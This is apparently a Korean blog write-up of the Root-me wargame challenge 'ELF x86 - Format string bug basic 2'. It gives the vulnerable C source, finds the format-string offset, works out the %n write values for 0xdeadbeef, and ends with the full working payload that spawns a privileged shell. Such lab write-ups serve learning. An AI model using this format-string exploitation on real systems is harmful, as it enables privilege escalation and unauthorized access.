Wargame/Root me

[App-System] ELF x86 - Format string bug basic 2

wyv3rn 2022. 7. 4. 22:24
728x90
반응형

1. intro

2. code 및 분석

2.1.  code

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
 
int main( int argc, char ** argv )
 
{
 
        int var;
        int check  = 0x04030201;
 
        char fmt[128];
 
        if (argc <2)
                exit(0);
 
        memset( fmt, 0, sizeof(fmt) );
 
        printf( "check at 0x%x\n", &check );
        printf( "argv[1] = [%s]\n", argv[1] );
 
        snprintf( fmt, sizeof(fmt), argv[1] );
 
        if ((check != 0x04030201) && (check != 0xdeadbeef))    
                printf ("\nYou are on the right way !\n");
 
        printf( "fmt=[%s]\n", fmt );
        printf( "check=0x%x\n", check );
 
        if (check==0xdeadbeef)
        {
                printf("Yeah dude ! You win !\n");
                setreuid(geteuid(), geteuid());
                system("/bin/bash");
        }
}

2.2. 분석

전형적인 fsb 문제이다.

코드에서 argv[1] 값을 받아들이며

check 함수의 주소와 argv[1]의 값을 출력해주고

check 변수의 값을 확인한 다음

다시 한번 fmt 변수의 값과 check 변수의 값을 출력해준다.

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

snprintf 함수 사용 시 format string을 지정해주지 않아 format string bug가 발생한다.

 

3.2. 공격 준비

몇번째 %p에서 값이 출력되는지 확인해보자.

app-systeme-ch14@challenge02:~$ ./ch14 `perl -e 'print "AAAA","%p"x9'`
check at 0xbffffac8
argv[1] = [AAAA%p%p%p%p%p%p%p%p%p]
fmt=[AAAA0x80485f1(nil)(nil)0xc20xbffffc140xb7fe14490xf63d4e2e0x40302010x41414141]
check=0x4030201


9번째에서 발생하였다.

변경해야할 주소는 check 변수의 주소이며, 변경해야할 값은 0xdeadbeef이다.

fsb에서 변경할 값은 4,2,1byte로 삽입할 수 있는데, 1byte씩 끊어서 넣어보면 전체 페이로드는 대략 아래와 같아지며

테스트삼아 입력해보면 check 변수의 위치가 달라진 것을 확인할 수 있다.

app-systeme-ch14@challenge02:~$ ./ch14 `perl -e 'print "AAAA","BBBB","AAAA","BBBB","AAAA","BBBB","AAAA","BBBB","%p"x7,"%c","%n","%c","%n","%c","%n","%c","%n"'`
check at 0xbffffaa8
argv[1] = [AAAABBBBAAAABBBBAAAABBBBAAAABBBB%p%p%p%p%p%p%p%c%n%c%n%c%n%c%n]
Segmentation fault


이유는 snprintf에서 fmt 변수의 길이가 입력받는 값에 따라 변하기 때문에 check 변수의 위치도 달라진 것이다.

해당 위치로 다시 한번 페이로드를 변경해서 넣어보면 아래와 같다.

app-systeme-ch14@challenge02:~$ ./ch14 `perl -e 'print "\xa8\xfa\xff\xbf","BBBB","\xa9\xfa\xff\xbf","BBBB","\xaa\xfa\xff\xbf","BBBB","\xab\xfa\xff\xbf","BBBB","%p"x7,"%c","%n","%c","%n","%c","%n","%c","%n"'`
check at 0xbffffaa8
argv[1] = [▒▒▒▒BBBB▒▒▒▒BBBB▒▒▒▒BBBB▒▒▒▒BBBB%p%p%p%p%p%p%p%c%n%c%n%c%n%c%n]

You are on the right way !
fmt=[]
check=0x59585756


변경할 값을 계산하기 위해 deadbeef를 1byte씩 끊어 10진수로 표현해보면
de = 222
ad = 173
be = 190
ef = 239
가 된다.

제일 마지막 ef부터 입력해야할 값을 계산해보면

우선 페이로드 기준으로 입력된 값이 check=0x59585756으로 56 byte가 사용되었으므로

ef => 239 - 0x56 + 1 = 239 - 86 + 1 = 154
be => be - ef => 1be - ef = 446 - 239 = 207
ad => ad - be => 1ad - be = 429 - 190 = 239
de => de - ad = 222 - 173 = 49

가 된다.

다시 한번 페이로드를 변경해서 시도하면

./ch14 `perl -e 'print "\xa8\xfa\xff\xbf","BBBB","\xa9\xfa\xff\xbf","BBBB","\xaa\xfa\xff\xbf","BBBB","\xab\xfa\xff\xbf","BBBB","%p"x7,"%154c","%n","%207c","%n","%239c","%n","%49c","%n"'`

app-systeme-ch14@challenge02:~$ ./ch14 `perl -e 'print "\xa8\xfa\xff\xbf","BBBB","\xa9\xfa\xff\xbf","BBBB","\xaa\xfa\xff\xbf","BBBB","\xab\xfa\xff\xbf","BBBB","%p"x7,"%154c","%n","%207c","%n","%239c","%n","%49c","%n"'`
check at 0xbffffa98
argv[1] = [▒▒▒▒BBBB▒▒▒▒BBBB▒▒▒▒BBBB▒▒▒▒BBBB%p%p%p%p%p%p%p%154c%n%207c%n%239c%n%49c%n]
fmt=[▒▒▒▒BBBB▒▒▒▒▒▒]
check=0x4030201


마찬가지로 페이로드 길이가 변경되었기에 check 주소도 변경되었다.

이를 기준으로 다시 변경해서 시도.

 

4. exploit

app-systeme-ch14@challenge02:~$ ./ch14 `perl -e 'print "\x98\xfa\xff\xbf","BBBB","\x99\xfa\xff\xbf","BBBB","\x9a\xfa\xff\xbf","BBBB","\x9b\xfa\xff\xbf","BBBB","%p"x7,"%154c","%n","%207c","%n","%239c","%n","%49c","%n"'`
check at 0xbffffa98
argv[1] = [▒▒▒▒BBBB▒▒▒▒BBBB▒▒▒▒BBBB▒▒▒▒BBBB%p%p%p%p%p%p%p%154c%n%207c%n%239c%n%49c%n]
fmt=[]
check=0xdeadbeef
Yeah dude ! You win !
app-systeme-ch14-cracked@challenge02:~$ id
uid=1214(app-systeme-ch14-cracked) gid=1114(app-systeme-ch14) groups=1114(app-systeme-ch14),100(users)
app-systeme-ch14-cracked@challenge02:~$ cat .passwd
-------------- #플래그는 삭제
728x90
반응형